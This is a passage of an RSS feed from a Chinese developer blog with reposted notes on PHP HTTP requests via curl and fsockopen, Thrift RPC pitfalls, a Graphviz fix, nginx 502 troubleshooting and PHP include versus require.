0px;">&nbsp;&nbsp;&nbsp; $request.="Cookie:&nbsp;&nbsp; $cookie\n";</p><p style="margin: 0px; padding: 0px;">&nbsp;&nbsp;&nbsp; $request.="\n";<br />$request.=$data_string."\n";</p><p style="margin: 0px; padding: 0px;">&nbsp;&nbsp;&nbsp; $fp = fsockopen($URL_Info["host"],$URL_Info["port"]);<br />fputs($fp, $request);<br />while(!feof($fp)) {<br />$result .= fgets($fp, 1024);<br />}<br />fclose($fp);</p><p style="margin: 0px; padding: 0px;">&nbsp;&nbsp;&nbsp; return $result;<br />}</p><p style="margin: 0px; padding: 0px;">?&gt;</p><p style="margin: 0px; padding: 0px;"><br /></p><p style="margin: 0px; padding: 0px;">方法6:使用curl库，使用curl库之前，可能需要查看一下php.ini是否已经打开了curl扩展</p><p style="margin: 0px; padding: 0px;">&lt;?php<br />$ch = curl_init();<br />$timeout = 5;<br />curl_setopt ($ch, CURLOPT_URL, 'http://www.domain.com/');<br />curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);<br />curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);<br />$file_contents = curl_exec($ch);<br />curl_close($ch);</p><p style="margin: 0px; padding: 0px;">echo $file_contents;<br />?&gt;</p><p style="margin: 0px; padding: 0px;"></p><p style="margin: 0px; padding: 0px;">&nbsp;</p><p style="margin: 0px; padding: 0px;">&nbsp;</p><p style="margin: 0px; padding: 0px;">&nbsp;</p><p style="margin: 0px; padding: 0px;">&nbsp;</p><p style="margin: 0px; padding: 0px;"></p>php中 curl， fsockopen ，file_get_contents&nbsp;三个函数 都可以实现采集模拟发言 。 三者有什么区别，或者讲究么&nbsp;&nbsp;<p style="margin: 0px; padding: 0px;"><strong>赵永斌:</strong><br />有些时候用file_get_contents()调用外部文件,容易超时报错。换成curl后就可以.具体原因不清楚<br />curl 效率比file_get_contents()和fsockopen()高一些,原因是CURL会自动对DNS信息进行缓存(亮点啊 有我待亲测)</p><p style="margin: 0px; padding: 0px;"><strong>范佳鹏:</strong><br />file_get_contents curl fsockopen<br />在当前所请求环境下选择性操作，没有一概而论：<br />具我们公司开发KBI应用来看：<br />刚开始采用：file_get_contents<br />后来采用：fsockopen<br />最后到至今采用：curl</p><p style="margin: 0px; padding: 0px;">（远程）我个人理解到的表述如下（不对请指出，不到位请补充）<br />file_get_contents 需要php.ini里开启allow_url_fopen,请求http时，使用的是http_fopen_wrapper，不会keeplive.curl是可以的。<br />file_get_contents()单个执行效率高，返回没有头的信息。<br />这个是读取一般文件的时候并没有什么问题，但是在读取远程问题的时候就会出现问题。<br />如果是要打一个持续连接，多次请求多个页面。那么file_get_contents和fopen就会出问题。<br />取得的内容也可能会不对。所以做一些类似采集工作的时候，肯定就有问题了。<br />sock较底层，配置麻烦，不易操作。 返回完整信息。<br /><strong><br />潘少宁-腾讯：</strong><br />file_get_contents 虽然可以获得某URL的内容，但不能post&nbsp; get啊。<br />curl 则可以post和get啊。还可以获得head信息<br />而socket则更底层。可以设置基于UDP或是TCP协议去交互<br />file_get_contents 和 curl 能干的，socket都能干。<br />socket能干的，curl 就不一定能干了<br />file_get_contents&nbsp; 更多的时候 只是去拉取数据。效率比较高&nbsp; 也比较简单。<br />赵的情况这个我也遇到过，我通过CURL设置host 就OK了。&nbsp; 这和网络环境有关系</p></div><img src ="http://www.blogjava.net/xiaomage234/aggbug/409869.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xiaomage234/" target="_blank">小马歌</a> 2014-02-14 16:44 <a href="http://www.blogjava.net/xiaomage234/archive/2014/02/14/409869.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>thrift rpc 使用常见问题解答和经验</title><link>http://www.blogjava.net/xiaomage234/archive/2014/02/14/409868.html</link><dc:creator>小马歌</dc:creator><author>小马歌</author><pubDate>Fri, 14 Feb 2014 08:42:00 GMT</pubDate><guid>http://www.blogjava.net/xiaomage234/archive/2014/02/14/409868.html</guid><wfw:comment>http://www.blogjava.net/xiaomage234/comments/409868.html</wfw:comment><comments>http://www.blogjava.net/xiaomage234/archive/2014/02/14/409868.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/xiaomage234/comments/commentRss/409868.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/xiaomage234/services/trackbacks/409868.html</trackback:ping><description><![CDATA[<p style="color: #333333; font-family: Arial; line-height: 26px; background-color: #ffffff;">原文：<a href="http://blog.rushcj.com/2010/08/21/try-thrift/" style="color: #336699; text-decoration: none;">http://blog.rushcj.com/2010/08/21/try-thrift/</a></p><p style="color: #333333; font-family: Arial; line-height: 26px; background-color: #ffffff;"></p><p style="color: #333333; font-family: Arial; line-height: 26px; margin: 0px 0px 1.5385em; padding: 0px; border: 0px; outline: 0px; font-size: 13px; vertical-align: baseline;"><a href="http://incubator.apache.org/thrift/" style="color: #0070c5; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: baseline; font-family: 'trebuchet ms', verdana, sans-serif;">Thrift</a>是一个非常棒的工具，是Facebook的开源项目，目前的开发非常的活跃，由Apache管理，所以用的是Apache Software License，这非常重要，因为可以放心的对其修改并用到自己的项目中。</p><p style="color: #333333; font-family: Arial; line-height: 26px; margin: 0px 0px 1.5385em; padding: 0px; border: 0px; outline: 0px; font-size: 13px; vertical-align: baseline;">谈到修改Thrift,这非常重要。因为我觉得如果要严肃的使用Thrift，不可避免的要深入了解它，并几乎都要修改Thrift的代码。一个通信框架，它不可能帮你做到所有的事情，也不可能在不了解的情况下就贸然的使用。</p><p style="color: #333333; font-family: Arial; line-height: 26px; margin: 0px 0px 1.5385em; padding: 0px; border: 0px; outline: 0px; font-size: 13px; vertical-align: baseline;">1.Thrift 的Java Server/Client有个较为严重的bug(https://issues.apache.org/jira/browse/THRIFT-601 )，随机向thrift&nbsp; sever的监听端口发些数据，可能会导致Server OutOfMemory，细细看看代码，这个bug有点土。</p><p style="color: #333333; font-family: Arial; line-height: 26px; margin: 0px 0px 1.5385em; padding: 0px; border: 0px; outline: 0px; font-size: 13px; vertical-align: baseline;">2.Thrift Client线程不安全，多线程下使用可能导致Server和客户端程序崩溃。Client的每次调用远程方法其实是有多次Socket写操作，因此每个线程中使用的Client要保证独立，如果多个线程混用同一个Client(其实是用同一个Socket)，可能会导致传输的字节顺序混乱，使得Server OutOfMemory(参考1）</p><p style="color: #333333; font-family: Arial; line-height: 26px; margin: 0px 0px 1.5385em; padding: 0px; border: 0px; outline: 0px; font-size: 13px; vertical-align: baseline;">3.Thrift定义数据结构时，尽量避免用map, 或者set。在cpp下, map被对应为std::map(rb tree)和std::set，thrift生成的类不会重载&#8221;&lt;&#8221;，因此需要手动修改生成类，否则link没法通过。较为麻烦。</p><p style="color: #333333; font-family: Arial; line-height: 26px; margin: 0px 0px 1.5385em; padding: 0px; border: 0px; outline: 0px; font-size: 13px; vertical-align: baseline;">4.如果Client端基于效率考虑，要缓存Socket，需要重新实现其TTransport类，以支持 Socket缓存池。当然，这个实现其实跟thrift没多大关系，算是2次开发。但一般都要这么做的吧？</p><p style="color: #333333; font-family: Arial; line-height: 26px; margin: 0px 0px 1.5385em; padding: 0px; border: 0px; outline: 0px; font-size: 13px; vertical-align: baseline;">5.如果Client基于效率考虑，缓存了Socket，那么thrift Server端的模式选择就较为重要了。如果使用同步的TThreadPoolServer，那么无可避免的，客户端缓存1个Socket，Server端就会有一个线程一直处于Server状态，等待peek这个Socket上的数据。这个线程就不能用于其它请求了。所以，及时清理Client端的Socket及控制Socket池的大小是非常必要的。</p><p style="color: #333333; font-family: Arial; line-height: 26px; margin: 0px 0px 1.5385em; padding: 0px; border: 0px; outline: 0px; font-size: 13px; vertical-align: baseline;">6.听同事说CPP Thrift Server的Epoll NonBlocking模式有效率问题。其实，并发要求不高的Server用LT模式的EPoll其实很方便的，当然，这个要自己给Thrfit Server做patch了，不过也不麻烦。开发起来也是很方便的。我想给我们的Server加个<strong>EPOLLONESHOT</strong>的同步EPoll实现。</p><p style="color: #333333; font-family: Arial; line-height: 26px; margin: 0px 0px 1.5385em; padding: 0px; border: 0px; outline: 0px; font-size: 13px; vertical-align: baseline;">7.CPP下的 TThreadPoolServer和TThreadServer由一个有趣的问题，如果有客户端维护长连接，那么对这个Server实例做析构的时候会堵塞（前面说过了，在peek中&#8230;）。</p><p style="color: #333333; font-family: Arial; line-height: 26px; margin: 0px 0px 1.5385em; padding: 0px; border: 0px; outline: 0px; font-size: 13px; vertical-align: baseline;">8.用valgrind看，thrift cpp似乎有一些内存问题。没细看。</p><p style="color: #333333; font-family: Arial; line-height: 26px; margin: 0px 0px 1.5385em; padding: 0px; border: 0px; outline: 0px; font-size: 13px; vertical-align: baseline;">9.无论是Java，还是CPP，Server端都无法通过合法的方式获取Client的ip, port。可以通过编写ThriftServerEventHandler可以处理这件事情。如果想要获取Client ip, port的话，可以看看这个东西。</p><img src ="http://www.blogjava.net/xiaomage234/aggbug/409868.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xiaomage234/" target="_blank">小马歌</a> 2014-02-14 16:42 <a href="http://www.blogjava.net/xiaomage234/archive/2014/02/14/409868.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Graphviz "gif/png" not recognized问题解决方案</title><link>http://www.blogjava.net/xiaomage234/archive/2014/02/13/409803.html</link><dc:creator>小马歌</dc:creator><author>小马歌</author><pubDate>Thu, 13 Feb 2014 05:25:00 GMT</pubDate><guid>http://www.blogjava.net/xiaomage234/archive/2014/02/13/409803.html</guid><wfw:comment>http://www.blogjava.net/xiaomage234/comments/409803.html</wfw:comment><comments>http://www.blogjava.net/xiaomage234/archive/2014/02/13/409803.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/xiaomage234/comments/commentRss/409803.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/xiaomage234/services/trackbacks/409803.html</trackback:ping><description><![CDATA[<div style="color: #323e32; font-family: simsun; background-color: #e1e1e1;">使用Graphviz时候遇到这样一个问题</div><div style="color: #323e32; font-family: simsun; background-color: #e1e1e1;"></div><span style="color: #323e32; font-family: simsun; background-color: #e1e1e1;">IOError: Renderer type: "gif" not recognized. Use one of: canon cmap cmapx dia dot fig hpgl imap ismap mif mp pcl pic plain plain-ext ps ps2 svg svgz vtx xdot</span><div style="color: #323e32; font-family: simsun; background-color: #e1e1e1;"></div><div style="color: #323e32; font-family: simsun; background-color: #e1e1e1;">表现在无法生成gif或者png图像</div><div style="color: #323e32; font-family: simsun; background-color: #e1e1e1;">应该是官方一个bug</div><div style="color: #323e32; font-family: simsun; background-color: #e1e1e1;"></div><div style="color: #323e32; font-family: simsun; background-color: #e1e1e1;">解决方案：</div><div style="color: #323e32; font-family: simsun; background-color: #e1e1e1;">安装&nbsp;graphviz-gd</div><div style="color: #323e32; font-family: simsun; background-color: #e1e1e1;"></div><div style="color: #323e32; font-family: simsun; background-color: #e1e1e1;">yum search graphviz-gd</div><div style="color: #323e32; font-family: simsun; background-color: #e1e1e1;"><div>========================= Matched: graphviz-gd =========================</div><div>graphviz-gd.x86_64 : Graphviz plugin for renderers based on gd</div></div><div style="color: #323e32; font-family: simsun; background-color: #e1e1e1;"></div><div style="color: #323e32; font-family: simsun; background-color: #e1e1e1;">好了，装上这个东西就ok了</div><img src ="http://www.blogjava.net/xiaomage234/aggbug/409803.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xiaomage234/" target="_blank">小马歌</a> 2014-02-13 13:25 <a href="http://www.blogjava.net/xiaomage234/archive/2014/02/13/409803.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>nginx 502 Bad Gateway 错误解决办法</title><link>http://www.blogjava.net/xiaomage234/archive/2014/02/12/409784.html</link><dc:creator>小马歌</dc:creator><author>小马歌</author><pubDate>Wed, 12 Feb 2014 10:48:00 GMT</pubDate><guid>http://www.blogjava.net/xiaomage234/archive/2014/02/12/409784.html</guid><wfw:comment>http://www.blogjava.net/xiaomage234/comments/409784.html</wfw:comment><comments>http://www.blogjava.net/xiaomage234/archive/2014/02/12/409784.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/xiaomage234/comments/commentRss/409784.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/xiaomage234/services/trackbacks/409784.html</trackback:ping><description><![CDATA[<p style="margin: 0px; padding: 5px 0px; font-family: 宋体; line-height: 22px; background-color: #ffffff;">一些运行在Nginx上的网站有时候会出现&#8220;502 Bad Gateway&#8221;错误，有些时候甚至频繁的出现。以下是小编搜集整理的一些Nginx&nbsp;502错误的排查方法，供参考：</p><p style="margin: 0px; padding: 5px 0px; font-family: 宋体; line-height: 22px; background-color: #ffffff;">　　Nginx 502错误的原因比较多，是因为在代理模式下后端服务器出现问题引起的。这些错误一般都不是nginx本身的问题，一定要从后端找原因！但nginx把这些出错都揽在自己身上了，着实让nginx的推广者备受置疑，毕竟从字眼上理解，bad gateway？不就是bad nginx吗？让不了解的人看到，会直接把责任推在nginx身上，希望nginx下一个版本会把出错提示写稍微友好一些，至少不会是现在简单的一句 502 Bad Gateway，另外还不忘附上自己的大名。</p><p style="margin: 0px; padding: 5px 0px; font-family: 宋体; line-height: 22px; background-color: #ffffff;"><strong>Nginx 502的触发条件</strong></p><p style="margin: 0px; padding: 5px 0px; font-family: 宋体; line-height: 22px; background-color: #ffffff;">　　502错误最通常的出现情况就是后端主机当机。在upstream配置里有这么一项配置：proxy_next_upstream，这个配置指定了 nginx在从一个后端主机取数据遇到何种错误时会转到下一个后端主机，里头写上的就是会出现502的所有情况拉，默认是error timeout。error就是当机、断线之类的，timeout就是读取堵塞超时，比较容易理解。我一般是全写上的：</p><pre style="margin: 8px; padding: 3px; width: 600px; background-color: #f7f7f7; border-width: 1px 1px 1px 5px; border-style: dashed dashed dashed solid; border-color: #bbbbbb; color: #002bb8; font-family: Consolas, Monaco, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; white-space: pre-wrap; word-wrap: break-word; line-height: 22px;">proxy_next_upstream error timeout invalid_header http_500 http_503;</pre><p style="margin: 0px; padding: 5px 0px; font-family: 宋体; line-height: 22px; background-color: #ffffff;">　　不过现在可能我要去掉http_500这一项了，http_500指定后端返回500错误时会转一个主机，后端的jsp出错的话，本来会打印一堆 stacktrace的错误信息，现在被502取代了。但公司的程序员可不这么认为，他们认定是nginx出现了错误，我实在没空跟他们解释502的原理 了&#8230;&#8230;</p><p style="margin: 0px; padding: 5px 0px; font-family: 宋体; line-height: 22px; background-color: #ffffff;">503错误就可以保留，因为后端通常是apache&nbsp;resin，如果apache死机就是error，但resin死机，仅仅是503，所以还是有必要保留的。</p><p style="margin: 0px; padding: 5px 0px; font-family: 宋体; line-height: 22px; background-color: #ffffff;"><strong>解决办法</strong></p><p style="margin: 0px; padding: 5px 0px; font-family: 宋体; line-height: 22px; background-color: #ffffff;">遇到502问题，可以优先考虑按照以下两个步骤去解决。</p><p style="margin: 0px; padding: 5px 0px; font-family: 宋体; line-height: 22px; background-color: #ffffff;">1、查看当前的PHP&nbsp;FastCGI进程数是否够用：</p><pre style="margin: 8px; padding: 3px; width: 600px; background-color: #f7f7f7; border-width: 1px 1px 1px 5px; border-style: dashed dashed dashed solid; border-color: #bbbbbb; color: #002bb8; font-family: Consolas, Monaco, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; white-space: pre-wrap; word-wrap: break-word; line-height: 22px;">netstat -anpo | grep "php-cgi" | wc -l</pre><p style="margin: 0px; padding: 5px 0px; font-family: 宋体; line-height: 22px; background-color: #ffffff;">如果实际使用的&#8220;FastCGI进程数&#8221;接近预设的&#8220;FastCGI进程数&#8221;，那么，说明&#8220;FastCGI进程数&#8221;不够用，需要增大。</p><p style="margin: 0px; padding: 5px 0px; font-family: 宋体; line-height: 22px; background-color: #ffffff;">2、部分PHP程序的执行时间超过了Nginx的等待时间，可以适当增加nginx.conf配置文件中FastCGI的timeout时间，例如：</p><pre style="margin: 8px; padding: 3px; width: 600px; background-color: #f7f7f7; border-width: 1px 1px 1px 5px; border-style: dashed dashed dashed solid; border-color: #bbbbbb; color: #002bb8; font-family: Consolas, Monaco, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; white-space: pre-wrap; word-wrap: break-word; line-height: 22px;">http  {<br />  fastcgi_connect_timeout 300;<br />  fastcgi_send_timeout 300;<br />  fastcgi_read_timeout 300;<br />  ......<br />  }<br />  ......</pre><p style="margin: 0px; padding: 5px 0px; font-family: 宋体; line-height: 22px; background-color: #ffffff;">　　php.ini中memory_limit设低了会出错，修改了php.ini的memory_limit为64M，重启nginx，发现好了，原来是PHP的内存不足了。</p><p style="margin: 0px; padding: 5px 0px; font-family: 宋体; line-height: 22px; background-color: #ffffff;">　　如果这样修改了还解决不了问题，可以参考下面这些方案：</p><p style="margin: 0px; padding: 5px 0px; font-family: 宋体; line-height: 22px; background-color: #ffffff;"><strong>一、max-children和max-requests</strong></p><p style="margin: 0px; padding: 5px 0px; font-family: 宋体; line-height: 22px; background-color: #ffffff;">　　一台服务器上运行着nginx php(fpm) xcache，访问量日均 300W pv左右。</p><p style="margin: 0px; padding: 5px 0px; font-family: 宋体; line-height: 22px; background-color: #ffffff;">　　最近经常会出现这样的情况：php页面打开很慢，cpu使用率突然降至很低，系统负载突然升至很高，查看网卡的流量，也会发现突然降到了很低。这种情况只持续数秒钟就恢复了。</p><p style="margin: 0px; padding: 5px 0px; font-family: 宋体; line-height: 22px; background-color: #ffffff;">　　检查php-fpm的日志文件发现了一些线索。</p><pre style="margin: 8px; padding: 3px; width: 600px; background-color: #f7f7f7; border-width: 1px 1px 1px 5px; border-style: dashed dashed dashed solid; border-color: #bbbbbb; color: #002bb8; font-family: Consolas, Monaco, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; white-space: pre-wrap; word-wrap: break-word; line-height: 22px;">Sep 30 08:32:23.289973 [NOTICE] fpm_unix_init_main(), line 271: getrlimit(nofile): max:51200, cur:51200  Sep 30 08:32:23.290212 [NOTICE] fpm_sockets_init_main(), line 371: using inherited socket fd=10, &#8220;127.0.0.1:9000&#8243;  Sep 30 08:32:23.290342 [NOTICE] fpm_event_init_main(), line 109: libevent: using epoll  Sep 30 08:32:23.296426 [NOTICE] fpm_init(), line 47: fpm is running, pid 30587</pre><p style="margin: 0px; padding: 5px 0px; font-family: 宋体; line-height: 22px; background-color: #ffffff;">　　在这几句的前面，是1000多行的关闭children和开启children的日志。</p><p style="margin: 0px; padding: 5px 0px; font-family: 宋体; line-height: 22px; background-color: #ffffff;">　　原来，php-fpm有一个参数 max_requests，该参数指明了，每个children最多处理多少个请求后便会被关闭，默认的设置是500。因为php是把请求轮询给每个 children，在大流量下，每个childre到达max_requests所用的时间都差不多，这样就造成所有的children基本上在同一时间 被关闭。</p><p style="margin: 0px; padding: 5px 0px; font-family: 宋体; line-height: 22px; background-color: #ffffff;">　　在这期间，nginx无法将php文件转交给php-fpm处理，所以cpu会降至很低(不用处理php，更不用执行sql)，而负载会升至很高(关闭和开启children、nginx等待php-fpm)，网卡流量也降至很低(nginx无法生成数据传输给客户端)</p><p style="margin: 0px; padding: 5px 0px; font-family: 宋体; line-height: 22px; background-color: #ffffff;">　　解决问题很简单，增加children的数量，并且将 max_requests 设置未 0 或者一个比较大的值：</p><p style="margin: 0px; padding: 5px 0px; font-family: 宋体; line-height: 22px; background-color: #ffffff;">　　打开 /usr/local/php/etc/php-fpm.conf调大以下两个参数(根据服务器实际情况，过大也不行）</p><pre style="margin: 8px; padding: 3px; width: 600px; background-color: #f7f7f7; border-width: 1px 1px 1px 5px; border-style: dashed dashed dashed solid; border-color: #bbbbbb; color: #002bb8; font-family: Consolas, Monaco, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; white-space: pre-wrap; word-wrap: break-word; line-height: 22px;">&lt;value name="max_children"&gt;5120&lt;/value&gt;  &lt;value name="max_requests"&gt;600&lt;/value&gt;</pre><p style="margin: 0px; padding: 5px 0px; font-family: 宋体; line-height: 22px; background-color: #ffffff;">　　然后重启php-fpm。</p><p style="margin: 0px; padding: 5px 0px; font-family: 宋体; line-height: 22px; background-color: #ffffff;"><strong>二、增加缓冲区容量大小</strong></p><p style="margin: 0px; padding: 5px 0px; font-family: 宋体; line-height: 22px; background-color: #ffffff;">　　将nginx的error log打开，发现&#8220;pstream sent too big header while reading response header from upstream&#8221;这样的错误提示。查阅了一下资料，大意是nginx缓冲区有一个bug造成的,我们网站的页面消耗占用缓冲区可能过大。参考老外写的修 改办法增加了缓冲区容量大小设置，502问题彻底解决。后来系统管理员又对参数做了调整只保留了2个设置参数：client head buffer，fastcgi buffer size。</p><p style="margin: 0px; padding: 5px 0px; font-family: 宋体; line-height: 22px; background-color: #ffffff;"><strong>三、request_terminate_timeout</strong></p><p style="margin: 0px; padding: 5px 0px; font-family: 宋体; line-height: 22px; background-color: #ffffff;">　　如果主要是在一些post或者数据库操作的时候出现502这种情况，而不是在静态页面操作中常见，那么可以查看一下php-fpm.conf设置中的一项：</p><p style="margin: 0px; padding: 5px 0px; font-family: 宋体; line-height: 22px; background-color: #ffffff;">request_terminate_timeout</p><p style="margin: 0px; padding: 5px 0px; font-family: 宋体; line-height: 22px; background-color: #ffffff;">这个值是max_execution_time，就是fast-cgi的执行脚本时间。</p><p style="margin: 0px; padding: 5px 0px; font-family: 宋体; line-height: 22px; background-color: #ffffff;">0s</p><p style="margin: 0px; padding: 5px 0px; font-family: 宋体; line-height: 22px; background-color: #ffffff;">0s为关闭，就是无限执行下去。（当时装的时候没仔细看就改了一个数字）问题解决了，执行很长时间也不会出错了。优化fastcgi中，还可以改改这个值5s 看看效果。</p><p style="margin: 0px; padding: 5px 0px; font-family: 宋体; line-height: 22px; background-color: #ffffff;">php-cgi进程数不够用、php执行时间长、或者是php-cgi进程死掉，都会出现502错误。</p><img src ="http://www.blogjava.net/xiaomage234/aggbug/409784.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xiaomage234/" target="_blank">小马歌</a> 2014-02-12 18:48 <a href="http://www.blogjava.net/xiaomage234/archive/2014/02/12/409784.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>php中include和require的区别</title><link>http://www.blogjava.net/xiaomage234/archive/2013/12/25/408040.html</link><dc:creator>小马歌</dc:creator><author>小马歌</author><pubDate>Wed, 25 Dec 2013 12:53:00 GMT</pubDate><guid>http://www.blogjava.net/xiaomage234/archive/2013/12/25/408040.html</guid><wfw:comment>http://www.blogjava.net/xiaomage234/comments/408040.html</wfw:comment><comments>http://www.blogjava.net/xiaomage234/archive/2013/12/25/408040.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/xiaomage234/comments/commentRss/408040.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/xiaomage234/services/trackbacks/408040.html</trackback:ping><description><![CDATA[<h2><span style="padding: 0px; margin: 0px;"><span style="padding: 0px; margin: 0px; font-size: 14px;">转自：<a href="http://my.oschina.net/u/200745/blog/36662">http://my.oschina.net/u/200745/blog/36662<br /></a><br />1.引用文件方式</span></span></h2><div style="margin: 0px; color: #333333; font-family: 微软雅黑, Verdana, sans-serif, 宋体; font-size: 13px; line-height: 23px; background-color: #ffffff;"><p style="padding: 0px; margin: 8px 0px; letter-spacing: 0.5px; font-size: 12.5px;">对include()来说，在include()执行时文件每次都要进行读取和评估；而对于require()来说，文件只处理一次（实际上，文件内容替换了require()语句）。这就意味着如果有包含这些指令之一的代码和可能执行多次的代码，则使用require()效率比较高。另一方面，如果每次执行代码时相读取不同的文件，或者有通过一组文件叠代的循环，就使用include(),因为可以给想要包括的文件名设置一个变量，当参数为include()时使用这个变量。</p><p style="padding: 0px; margin: 8px 0px; letter-spacing: 0.5px; font-size: 12.5px;">&nbsp;<span style="padding: 0px; margin: 0px; font-weight: 600;">2.是否有条件引用</span></p><p style="padding: 0px; margin: 8px 0px; letter-spacing: 0.5px; font-size: 12.5px;">在PHP变成中，include()与require()的功能相同，但在用法上却有一些不同，include()是有条件包含函数，而require()则是无条件包含函数。例如在下面的一个例子中，如果变量$somgthing为真，则将包含文件somefile：<br style="padding: 0px; margin: 0px;" />if($something){<br style="padding: 0px; margin: 0px;" />include("somefile");<br style="padding: 0px; margin: 0px;" />}<br style="padding: 0px; margin: 0px;" />但不管$something取何值，下面的代码将把文件somefile包含进文件里：<br style="padding: 0px; margin: 0px;" />if($something){<br style="padding: 0px; margin: 0px;" />require("somefile");<br style="padding: 0px; margin: 0px;" />}<br style="padding: 0px; margin: 0px;" />下面的这个有趣的例子充分说明了这两个函数之间的不同。<br style="padding: 0px; margin: 0px;" />$i = 1;<br style="padding: 0px; margin: 0px;" />while ($i &lt; 3) {<br style="padding: 0px; margin: 0px;" />require("somefile.$i");<br style="padding: 0px; margin: 0px;" />$i++;<br style="padding: 0px; margin: 0px;" />}<br style="padding: 0px; margin: 0px;" />在这段代码中，每一次循环的时候，程序都将把同一个文件包含进去。很显然这不是程序员的初衷，从代码中我们可以看出这段代码希望在每次循环时，将不同的文件包含进来。如果要完成这个功能，必须求助函数include()：<br style="padding: 0px; margin: 0px;" />$i = 1;<br style="padding: 0px; margin: 0px;" />while ($i &lt; 3) {<br style="padding: 0px; margin: 0px;" />include("somefile.$i");<br style="padding: 0px; margin: 0px;" />$i++;<br style="padding: 0px; margin: 0px;" />}</p><p style="padding: 0px; margin: 8px 0px; letter-spacing: 0.5px; font-size: 12.5px;">&nbsp;</p><p style="padding: 0px; margin: 8px 0px; letter-spacing: 0.5px; font-size: 12.5px;"><span style="padding: 0px; margin: 0px; font-weight: 600;">3.报错</span></p><p style="padding: 0px; margin: 8px 0px; letter-spacing: 0.5px; font-size: 12.5px;">&nbsp;</p><p style="padding: 0px; margin: 8px 0px; letter-spacing: 0.5px; font-size: 12.5px;">用例子来说话，写两个php文件，名字为test1.php&nbsp; 和test2.php，注意相同的目录中，不要存在一个名字是test999.php的文件。<br style="padding: 0px; margin: 0px;" />test.php<br style="padding: 0px; margin: 0px;" />&lt;?PHP<br style="padding: 0px; margin: 0px;" />include&nbsp; (&#8221;test999.php&#8221;);<br style="padding: 0px; margin: 0px;" />echo&nbsp; &#8220;abc&#8221;;<br style="padding: 0px; margin: 0px;" />?&gt;</p><p style="padding: 0px; margin: 8px 0px; letter-spacing: 0.5px; font-size: 12.5px;">test2.php<br style="padding: 0px; margin: 0px;" />&lt;?PHP<br style="padding: 0px; margin: 0px;" />require (&#8221;test999.php&#8221;)<br style="padding: 0px; margin: 0px;" />echo&nbsp; &#8220;abc&#8221;;<br style="padding: 0px; margin: 0px;" />?&gt;</p><p style="padding: 0px; margin: 8px 0px; letter-spacing: 0.5px; font-size: 12.5px;">浏览第一个文件，因为没有找到test999.php文件，我们看到了报错信息，同时，报错信息的下边显示了abc，你看到的可能是类似下边的情况：<br style="padding: 0px; margin: 0px;" />Warning: include(test1aaa.php) [function.include]: failed to open stream: No such file or directory in D:\WebSite\test.php on line 2</p><p style="padding: 0px; margin: 8px 0px; letter-spacing: 0.5px; font-size: 12.5px;">Warning: include() [function.include]: Failed opening &#8216;test1aaa.php&#8217; for inclusion (include_path=&#8217;.;C:\php5\pear&#8217;) in D:\WebSite\test.php on line 2<br style="padding: 0px; margin: 0px;" />abc</p><p style="padding: 0px; margin: 8px 0px; letter-spacing: 0.5px; font-size: 12.5px;">浏览第二个文件，因为没有找到test999.php文件，我们看到了报错信息，但是，报错信息的下边没有显示abc，你看到的可能是类似下边的情况：<br style="padding: 0px; margin: 0px;" />Warning: require(test1aaa.php) [function.require]: failed to open stream: No such file or directory in D:\WebSite\test.php on line 2</p><p style="padding: 0px; margin: 8px 0px; letter-spacing: 0.5px; font-size: 12.5px;">Fatal error: require() [function.require]: Failed opening required &#8216;test1aaa.php&#8217; (include_path=&#8217;.;C:\php5\pear&#8217;) in D:\WebSite\test.php on line 2</p><p style="padding: 0px; margin: 8px 0px; letter-spacing: 0.5px; font-size: 12.5px;">现在就能很清楚的知道include和require的区别：include引入文件的时候，如果碰到错误，会给出提示，并继续运行下边的代码，require引入文件的时候，如果碰到错误，会给出提示，并停止运行下边的代码。</p></div><img src ="http://www.blogjava.net/xiaomage234/aggbug/408040.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xiaomage234/" target="_blank">小马歌</a> 2013-12-25 20:53 <a href="http://www.blogjava.net/xiaomage234/archive/2013/12/25/408040.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>安装Memcached和Memcached PHP扩展【转】</title><link>http://www.blogjava.net/xiaomage234/archive/2013/09/27/404546.html</link><dc:creator>小马歌</dc:creator><author>小马歌</author><pubDate>Fri, 27 Sep 2013 06:25:00 GMT</pubDate><guid>http://www.blogjava.net/xiaomage234/archive/2013/09/27/404546.html</guid><wfw:comment>http://www.blogjava.net/xiaomage234/comments/404546.html</wfw:comment><comments>http://www.blogjava.net/xiaomage234/archive/2013/09/27/404546.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/xiaomage234/comments/commentRss/404546.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/xiaomage234/services/trackbacks/404546.html</trackback:ping><description><![CDATA[<p style="border: 0px; margin: 1em 0px; padding: 0px; line-height: 25px; font-family: arial, helvetica, clean, sans-serif; font-size: small; background-color: #f9f9f9;">Memcached资源很容易混淆,所以我打包好了.<br style="border: 0px; margin: 0px; padding: 